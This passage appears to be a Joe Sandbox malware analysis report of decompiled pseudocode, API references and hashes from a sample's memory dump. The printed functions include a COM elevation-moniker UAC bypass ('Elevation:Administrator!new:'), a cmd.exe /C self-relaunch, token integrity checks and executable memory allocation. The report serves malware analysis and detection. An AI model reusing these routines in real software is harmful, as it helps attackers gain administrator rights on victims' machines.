							LocalFree(_v8);
						}
						return _v24;
					}
					goto L3;
				}
				goto L3;
			}

0x00405c52
0x00405c59
0x00405c60
0x00405c67
0x00405c6e
0x00409c8c
0x00407a5f
0x00407a68
0x00407a71
0x00407a86
0x00407a8e
0x00401060
0x00401066
0x0040106b
0x00000000
0x00000000
0x00401236
0x0040123a
0x00401244
0x00401244
0x00403bc9
0x00403bd3
0x00403bd3
0x00402955
0x00402955
0x00000000
0x00407a94
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A5F
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86
OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Token$InformationLocal$AllocChangeCloseFindFreeNotificationOpenProcess
String ID:
API String ID: 2854556994-0
Opcode ID: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction ID: 2e4b4cc31351ce880421fb230fd6ac05725b6f10eb8191371f756e524e2f733f
Opcode Fuzzy Hash: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction Fuzzy Hash: ED313CB4A04208FFDB14CFD4C948BAEBBF8AB48301F1081AAE511B72D4D774AB04DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00404369 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00404369(void* __ebx, void* __edi, void* __esi) {
				char _v528;
				char _v1052;
				short _v1576;
				void* _t14;
				void* _t15;
				void* _t16;
				void* _t24;

				GetModuleFileNameW(0,  &_v1576, 0x105);
				 *0x413084(0); // executed
				E00409543(_t24); // executed
				_t14 = E00405C4C(); // executed
				if(_t14 <= 0x2000) {
					_t15 = E00405C4C(); // executed
					if(_t15 >= 0x2000) {
						_t16 = E00405D04(__ebx, __edi, __esi,  &_v1576, 0); // executed
					} else {
						_t25 =  &_v528;
						E0040335C( &_v528,  &_v528, 0x20a);
						E00405312(L"%systemroot%\\system32\\cmd.exe",  &_v528, 0x104);
						E00408BFE(_t25,  &_v1052, L"/C ");
						E0040B160( &_v1052,  &_v1576);
						_t16 = E00405D04(__ebx, __edi, __esi,  &_v528,  &_v1052);
					}
					ExitProcess(0);
				} else {
					return 1;
				}
			}

0x00404380
0x00404388
0x0040438e
0x00404393
0x0040439d
0x004063d2
0x004063dc
0x00402608
0x004063e2
0x004063e7
0x004063ee
0x00406407
0x0040641b
0x00406431
0x00406447
0x0040644c
0x0040a945
0x004043a3
0x00000000
0x004043a3

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105), ref: 00404380
CoInitialize.OLE32(00000000), ref: 00404388

Part of subcall function 00409543: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
Part of subcall function 00409543: NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
Part of subcall function 00409543: EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000180,009D0000), ref: 00409626
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000178,009D0000), ref: 0040963C
Part of subcall function 00409543: LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
Part of subcall function 00409543: LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Strings

/C , xrefs: 0040640F
%systemroot%\system32\cmd.exe, xrefs: 00406402

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: CriticalInitProcessSectionStringUnicode$AllocateChangeCloseDirectoryEnterEnumerateExitFileFindFreeInitializeLeaveLoadedLocalMemoryModuleModulesNameNotificationOpenTokenVirtualWindows
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 41577365-3057154508
Opcode ID: c5e22f618a67b604fe27e09ba26f5c85a86b36c7864aea17beee92a495aee461
Instruction ID: 7b01f62542bec0b1d87828faea97dd6a3c55c304531570e4c9315d46f9a50642
Opcode Fuzzy Hash: c5e22f618a67b604fe27e09ba26f5c85a86b36c7864aea17beee92a495aee461
Instruction Fuzzy Hash: 9411ABB290430866D710BB60EC47FDE73299B54705F0045BBB709B50C2ED7997D88EAE

Uniqueness

Uniqueness Score: -1.00%

Function 00407AB9 Relevance: 6.1, APIs: 4, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00407AB9(void* __eflags) {
				signed int _t62;
				signed int _t69;
				void* _t91;

				_push(ds);
				if(__eflags < 0) {
					while(1) {
						 *(_t91 - 4) = LocalAlloc(0, ??);
						_t62 = GetTokenInformation( *(_t91 - 8), 0x19,  *(_t91 - 4),  *(_t91 - 0xc), _t91 - 0xc); // executed
						__eflags = _t62;
						if(_t62 == 0) {
							break;
						}
						 *(_t91 - 0x10) =  *(GetSidSubAuthority( *( *(_t91 - 4)), ( *(GetSidSubAuthorityCount( *( *(_t91 - 4)))) & 0x000000ff) - 0x00000001 & 0x000000ff));
						 *(_t91 - 0x14) =  *(_t91 - 0x10);
						if(0 != 0) {
							_t69 = OpenProcessToken(0xffffffff, 8, _t91 - 8);
							__eflags = _t69;
							if(_t69 != 0) {
								GetTokenInformation( *(_t91 - 8), 0x19, 0, 0, _t91 - 0xc); // executed
								_push( *(_t91 - 0xc));
								continue;
							} else {
							}
						} else {
						}
						L3:
						if( *(_t91 - 8) != 0) {
							FindCloseChangeNotification( *(_t91 - 8)); // executed
						}
						if( *(_t91 - 4) != 0) {
							LocalFree( *(_t91 - 4));
						}
						return  *(_t91 - 0x14);
						goto L47;
					}
					goto L3;
				} else {
					_push(ss);
					while(1) {
						__eax =  *(__ebp - 0x10);
						 *(__ebp - 0x2c) =  *(__ebp - 0x10);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) - 1;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) - 1;
						__eflags =  *(__ebp - 0x2c);
						if( *(__ebp - 0x2c) <= 0) {
							break;
						}
						__ecx = __ebp - 0x88;
						__eax = E004055B9(__ebp - 0x88);
						 *(__ebp - 5) = __al;
						__edx =  *(__ebp - 0x18);
						__al =  *(__ebp - 5);
						 *( *(__ebp - 0x18)) = __al;
						 *(__ebp - 0x18) =  *(__ebp - 0x18) + 1;
						 *(__ebp - 0x18) =  *(__ebp - 0x18) + 1;
						__edx =  *(__ebp - 5) & 0x000000ff;
						__eflags = ( *(__ebp - 5) & 0x000000ff) - 0x7f;
						if(( *(__ebp - 5) & 0x000000ff) > 0x7f) {
							 *(__ebp - 0x28) =  *(__ebp - 0x28) + 1;
							 *(__ebp - 0x28) =  *(__ebp - 0x28) + 1;
						}
					}
					__eflags =  *(__ebp - 0x28);
					if( *(__ebp - 0x28) != 0) {
						__ecx = 1;
						__edx = 0;
						__eax =  *0x46c42c; // 0x0
						__ecx =  *__eax & 0x000000ff;
						__eflags = ( *__eax & 0x000000ff) - 0x4d;
						if(( *__eax & 0x000000ff) != 0x4d) {
							goto L9;
						} else {
							1 = 1 << 0;
							__eax =  *0x46c42c; // 0x0
							__ecx =  *(__eax + (1 << 0)) & 0x000000ff;
							__eflags = ( *(__eax + (1 << 0)) & 0x000000ff) - 0x5a;
							if(( *(__eax + (1 << 0)) & 0x000000ff) != 0x5a) {
								goto L9;
							} else {
								__eflags =  *0x46c420 - 2;
								if( *0x46c420 == 2) {
									goto L9;
								} else {
									__eax = 0;
								}
							}
						}
					} else {
						__eflags =  *0x46c420 - 1;
						if( *0x46c420 == 1) {
							L9:
							__edx =  *(__ebp - 0x18);
							 *0x46c430 =  *(__ebp - 0x18);
							while(1) {
								__eax =  *(__ebp - 4);
								 *(__ebp - 0x30) =  *(__ebp - 4);
								__ecx =  *(__ebp - 4);
								__ecx =  *(__ebp - 4) - 1;
								 *(__ebp - 4) = __ecx;
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) <= 0) {
									break;
								}
								__ecx = __ebp - 0x88;
								E004055B9(__ebp - 0x88) = E0040B8C1(__eax);
								__edx =  *0x46c330; // 0x0
								__edx = __edx & 0x0003ffff;
								__eflags = __edx;
								if(__edx == 0) {
									__eflags =  *0x46c420 - 1;
									if( *0x46c420 == 1) {
										__eflags =  *0x46c330 - 0x480000;
										if( *0x46c330 != 0x480000) {
											L44:
											__eflags =  *0x46c330 - 0x100000;
											if( *0x46c330 != 0x100000) {
												L34:
												__eflags =  *0x463778 - 0xe;
												if( *0x463778 == 0xe) {
													goto L40;
												}
											} else {
												__eflags =  *0x463778 - 0xf;
												if( *0x463778 == 0xf) {
													goto L40;
												} else {
													goto L34;
												}
											}
										} else {
											__eflags =  *0x463778 - 0x10;
											if( *0x463778 == 0x10) {
												L40:
												__eax =  *0x463778; // 0xe
												 *0x463778 = __eax;
												 *(__ebp - 0x14) = 0;
												while(1) {
													__eflags =  *(__ebp - 0x14) - 0x2800;
													if( *(__ebp - 0x14) >= 0x2800) {
														goto L43;
													}
													__edx =  *(__ebp - 0x14);
													__eax =  *0x46c35c; // 0x0
													__ecx =  *(__eax + __edx * 4);
													__ecx =  *(__eax + __edx * 4) << 1;
													__edx =  *(__ebp - 0x14);
													__eax =  *0x46c35c; // 0x0
													 *(__eax +  *(__ebp - 0x14) * 4) = __ecx;
													 *(__ebp - 0x14) =  *(__ebp - 0x14) + 1;
													 *(__ebp - 0x14) =  *(__ebp - 0x14) + 1;
												}
											} else {
												goto L44;
											}
										}
									}
								}
								L43:
							}
							__eax = E0040C187(__ecx);
							__ecx = __ebp - 0x3c;
							__eax = E0040DCF9(__ebp - 0x3c);
							__ecx =  *(__ebp - 0x34);
							__eax = E0040CE09( *(__ebp - 0x34), __eax);
							__eflags = __eax -  *((intOrPtr*)(__ebp - 0xc));
							if(__eax ==  *((intOrPtr*)(__ebp - 0xc))) {
								__ecx = __ebp - 0x3c;
								__eax = E0040DCF9(__ebp - 0x3c);
								__edx =  *(__ebp + 0x10);
								 *( *(__ebp + 0x10)) = __eax;
								__eax =  *(__ebp - 0x34);
							} else {
								__eax = 0;
							}
						} else {
							__eax = 0;
						}
					}
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
				L47:
			}

0x00407abb
0x00407abc
0x00407a69
0x00407a71
0x00407a86
0x00407a8c
0x00407a8e
0x00000000
0x00000000
0x00401060
0x00401066
0x0040106b
0x00409c94
0x00409c9a
0x00409c9c
0x00407a5f
0x00407a68
0x00000000
0x00000000
0x00409ca2
0x00000000
0x00401071
0x00401236
0x0040123a
0x00401244
0x00401244
0x00403bc9
0x00403bd3
0x00403bd3
0x00402955
0x00000000
0x00402955
0x00000000
0x00407abe
0x00407abe
0x00407abf
0x00407abf
0x00407ac2
0x00407ac8
0x00407acb
0x00407ace
0x00407ad2
0x00000000
0x00000000
0x00407ad8
0x00407ade
0x00407ae3
0x00407ae6
0x00407ae9
0x00407aec
0x00407af1
0x00407af4
0x00407af7
0x00407afb
0x00407afe
0x00407b07
0x00407b0a
0x00407b0a
0x004059ea
0x00408020
0x00408024
0x00401ea5
0x00401eaa
0x00401ead
0x00401eb2
0x00401eb6
0x00401eb9
0x00000000
0x00401ebf
0x00401ec4
0x00401ec7
0x00401ecc
0x00401ed0
0x00401ed3
0x00000000
0x00401ed9
0x00401ed9
0x00401ee0
0x00000000
0x00401ee6
0x00401ee6
0x00401ee6
0x00401ee0
0x00401ed3
0x0040802a
0x0040802a
0x00408031
0x00402035
0x00402035
0x00402038
0x004045e8
0x004045e8
0x004045eb
0x004045ee
0x004045f1
0x004045f4
0x004045f7
0x004045fb
0x00000000
0x00000000
0x00404601
0x0040460d
0x00404615
0x0040461b
0x0040461b
0x00404621
0x00404627
0x0040462e
0x00404634
0x0040463e
0x0040cc1b
0x0040cc1b
0x0040cc25
0x0040997f
0x0040997f
0x00409986
0x00000000
0x0040998c
0x0040cc2b
0x0040cc2b
0x0040cc32
0x00000000
0x0040cc38
0x00000000
0x0040cc38
0x0040cc32
0x00404644
0x00404644
0x0040464b
0x00409ca7
0x00409ca7
0x00409caf
0x00409cb4
0x0040a391
0x0040a391
0x0040a398
0x00000000
0x00000000
0x0040a39e
0x0040a3a1
0x0040a3a6
0x0040a3a9
0x0040a3ab
0x0040a3ae
0x0040a3b3
0x00405c82
0x00405c85
0x00405c85
0x00404651
0x00000000
0x00404651
0x0040464b
0x0040463e
0x0040462e
0x0040b344
0x0040b344
0x00409bce
0x00409bd3
0x00409bd6
0x00409bdc
0x00409be0
0x00409be8
0x00409beb
0x004024fe
0x00402501
0x00402506
0x00402509
0x0040250b
0x00409bf1
0x00409bf1
0x00409bf1
0x00408037
0x00408037
0x00408037
0x00408031
0x00403d6f
0x00403d71
0x00403d72
0x00403d72
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Local$AllocChangeCloseFindFreeInformationNotificationToken
String ID:
API String ID: 2094194634-0
Opcode ID: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction ID: 8c14f008afbfcab52b1f24e0be9b5b67c8a06fc3440972dff98bedf792b56cd5
Opcode Fuzzy Hash: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction Fuzzy Hash: 2E215E74D04208EFCB04CFE4C959AEEBBB5AB08305F1480AAE505B7394C7746B40DF29

Uniqueness

Uniqueness Score: -1.00%

Function 00409727 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00409727(void* __ecx, signed int* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v24;
				char _v44;
				char _v564;
				signed char _t19;
				void* _t27;
				signed int* _t34;

				_t34 = __edx;
				_v8 = 0x80004005;
				if(_a4 == 0) {
					return _v8;
				}
				_t19 = E00405C31(__ecx, _a4);
				if(_t19 <= 0x40) {
					 *_t34 =  *_t34 | _t19;
					 *_t19 =  *_t19 + _t19;
					E0040335C( &_v564);
					E00408BFE( &_v564,  &_v564, L"Elevation:Administrator!new:");
					E0040B160( &_v564, _a4);
					E0040335C( &_v564,  &_v44, 0x24);
					_v44 = 0x24;
					_v24 = _a8;
					_t27 =  *0x413080( &_v564,  &_v44, _a12, _a16,  &_v564, 0x208); // executed
					return _t27;
				}
				return _v8;
			}

0x00409727
0x00409730
0x0040973b
0x00000000
0x00409741
0x0040210a
0x00402115
0x0040d183
0x0040d185
0x0040d18e
0x0040d1a2
0x0040d1b5
0x0040d1c3
0x0040d1cb
0x0040d1d5
0x0040d1eb
0x00000000
0x0040d1eb
0x00000000

Strings

Elevation:Administrator!new:, xrefs: 0040D196
$, xrefs: 0040D1CB

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID:
String ID: $$Elevation:Administrator!new:
API String ID: 0-4251798642
Opcode ID: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction ID: 0ae50f5eb3c30b6def060569edfd5a96dae8f03997bbe75f6d7b2be729599e56
Opcode Fuzzy Hash: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction Fuzzy Hash: B31154B1C1020CABCB10EF94DD85AEE7778AB54305F14456AFA097A181E738EB44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D17F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0040D17F(void* __eax, void* __edx, void* __eflags) {
				void* _t13;

				_t13 = __eax;
				asm("scasd");
				asm("movsb");
				if (__eflags < 0) goto L4;
				 *__edx =  *__edx | __al;
				 *__eax =  *__eax + __al;
				__eflags =  *__eax;
				__ecx = __ebp - 0x230;
				__eax = E0040335C(__ecx);
				__esp = __esp + 8;
				__edx = __ebp - 0x230;
				E00408BFE(__ecx, __ebp - 0x230, L"Elevation:Administrator!new:") =  *((intOrPtr*)(__ebp + 8));
				__ecx = __ebp - 0x230;
				__eax = E0040B160(__ebp - 0x230,  *((intOrPtr*)(__ebp + 8)));
				__edx = __ebp - 0x28;
				__eax = E0040335C(__ecx, __ebp - 0x28, 0x24);
				 *(__ebp - 0x28) = 0x24;
				__eax =  *((intOrPtr*)(__ebp + 0xc));
				 *((intOrPtr*)(__ebp - 0x14)) =  *((intOrPtr*)(__ebp + 0xc));
				__ecx =  *((intOrPtr*)(__ebp + 0x14));
				__edx =  *(__ebp + 0x10);
				__eax = __ebp - 0x28;
				__ecx = __ebp - 0x230;
				_t13 =  *0x413080(__ebp - 0x230, __ebp - 0x28,  *(__ebp + 0x10),  *((intOrPtr*)(__ebp + 0x14)), __ecx, 0x208); // executed
				return _t13;
			}

0x0040d17f
0x0040d17f
0x0040d180
0x0040d181
0x0040d183
0x0040d185
0x0040d185
0x0040d187
0x0040d18e
0x0040d193
0x0040d19b
0x0040d1aa
0x0040d1ae
0x0040d1b5
0x0040d1bf
0x0040d1c3
0x0040d1cb
0x0040d1d2
0x0040d1d5
0x0040d1d8
0x0040d1dc
0x0040d1e0
0x0040d1e4
0x0040d1eb
0x00404ba0

APIs

CoGetObject.OLE32(?,00000024,?,?), ref: 0040D1EB

Strings

Elevation:Administrator!new:, xrefs: 0040D196
$, xrefs: 0040D1CB

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Object
String ID: $$Elevation:Administrator!new:
API String ID: 2936123098-4251798642
Opcode ID: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction ID: b31a3ccbf289bc63fcd2c03f84205c468a6b0dd351633bc6c62a4601e098767b
Opcode Fuzzy Hash: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction Fuzzy Hash: 140162B2810208ABCB05EF90DC95DDE7B78AB18305F08455EF9057A181EB39E748CB75

Uniqueness

Uniqueness Score: -1.00%

Function 004063CE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E004063CE() {
				void* _t11;
				void* _t15;
				void* _t16;
				void* _t17;

				_push(ds);
				__eax = E00405C4C(); // executed
				if(__eax >= 0x2000) {
					E00405D04(_t11, _t15, _t16, _t17 - 0x624, 0); // executed
				} else {
					E0040335C(__ebp - 0x20c, __ebp - 0x20c, 0x20a) = E00405312(L"%systemroot%\\system32\\cmd.exe", __ebp - 0x20c, 0x104);
					__ebp - 0x418 = E00408BFE(__ecx, __ebp - 0x418, L"/C ");
					__ecx = __ebp - 0x624;
					E0040B160(__ebp - 0x418, __ebp - 0x624) = __ebp - 0x418;
					__ecx = __ebp - 0x20c;
					__eax = E00405D04(__ebx, __edi, __esi, __ebp - 0x20c, __ebp - 0x418);
				}
				ExitProcess(0);
			}

0x004063ce
0x004063d2
0x004063dc
0x00402608
0x004063e2
0x00406407
0x0040641b
0x00406423
0x00406439
0x00406440
0x00406447
0x0040644c
0x0040a945

APIs

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Part of subcall function 00405312: RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
Part of subcall function 00405312: RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

/C , xrefs: 0040640F
%systemroot%\system32\cmd.exe, xrefs: 00406402

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Process$ChangeCloseEnvironmentExitExpandFindFreeInitLocalNotificationOpenStringStrings_TokenUnicode
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 1629495445-3057154508
Opcode ID: 74dd183bfbc60cce3caee40a229eb83cba66efea863e32e52d49e009b086718c
Instruction ID: 6885a5c3f576ce6d6f9b2f3c688c14414178aeb406d1450dcc701d4c4953fbe4
Opcode Fuzzy Hash: 74dd183bfbc60cce3caee40a229eb83cba66efea863e32e52d49e009b086718c
Instruction Fuzzy Hash: 88F0A4F280030866CB10EB70DC46FDA33389B14305F0045BAB609B60C2EE7997C88AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00401352 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00401352(intOrPtr _a8, intOrPtr _a12, long _a16, DWORD* _a20) {
				void* _v4;
				long _v8;
				intOrPtr _v12;
				void* __ebx;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t24;
				void* _t25;
				void* _t32;

				_pop(_t26);
				asm("sbb dword [eax+ebp*8], 0xaee35f9e");
				asm("adc dl, [ss:ebp-0x1374aa86]");
				_push(_t17);
				_v12 = E00404873(E00403D7B(_t17, _t24, _t25), 0x30dbca36);
				_t15 = E00404B1D(_t32, _a8, _a12);
				_t18 =  *((intOrPtr*)(_t15 + 4));
				_v4 = _t18;
				_v8 =  *((intOrPtr*)(_t15 + 8)) - _t18;
				return VirtualProtect(_v4, _v8, _a16, _a20);
			}

0x00401352
0x00401353
0x0040135a
0x00401364
0x00401376
0x0040137f
0x00401384
0x0040138c
0x0040138f
0x004013a6

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction ID: a34d84a8aa74edc03bf23277289f2878ef58b524965e171c6cbb9bf5a1c13c13
Opcode Fuzzy Hash: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction Fuzzy Hash: 6EF01276C0020CFFCF01AFA5C995CADBF75FF08204B0484AEF90426162DB369A24EB04

Uniqueness

Uniqueness Score: -1.00%

Function 0040135E Relevance: 1.5, APIs: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040135E(void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, long _a12, DWORD* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				void* __ebx;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t23;

				_t23 = __eflags;
				_v16 = E00404873(E00403D7B(_t17, __edi, __esi), 0x30dbca36);
				_t15 = E00404B1D(_t23, _a4, _a8);
				_t18 =  *((intOrPtr*)(_t15 + 4));
				_v8 = _t18;
				_v12 =  *((intOrPtr*)(_t15 + 8)) - _t18;
				return VirtualProtect(_v8, _v12, _a12, _a16);
			}

0x0040135e
0x00401376
0x0040137f
0x00401384
0x0040138c
0x0040138f
0x004013a6

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction ID: c3339b175f8b132734afde4b87bcd326777cd273dbfa93b5593f16fc1374389e
Opcode Fuzzy Hash: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction Fuzzy Hash: 3DF0F876C0020CBFCF01AFA5D955C9DBFB9FF48200F0084AEB91466162D7369A20AB54

Uniqueness

Uniqueness Score: -1.00%

Function 00BCB815 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00BCB866

Memory Dump Source

Source File: 00000006.00000002.472010459.0000000000BCB000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BCB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bcb000_B7BD.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 7bdd3508f247a30195f6a92727529883f68120cdb7f0a7dfa32e3109334bbff5
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: AD112879A00208EFDB01DF98C985E98BBF5EF08351F0580A4F9489B362D371EA90DB80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00408958 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57
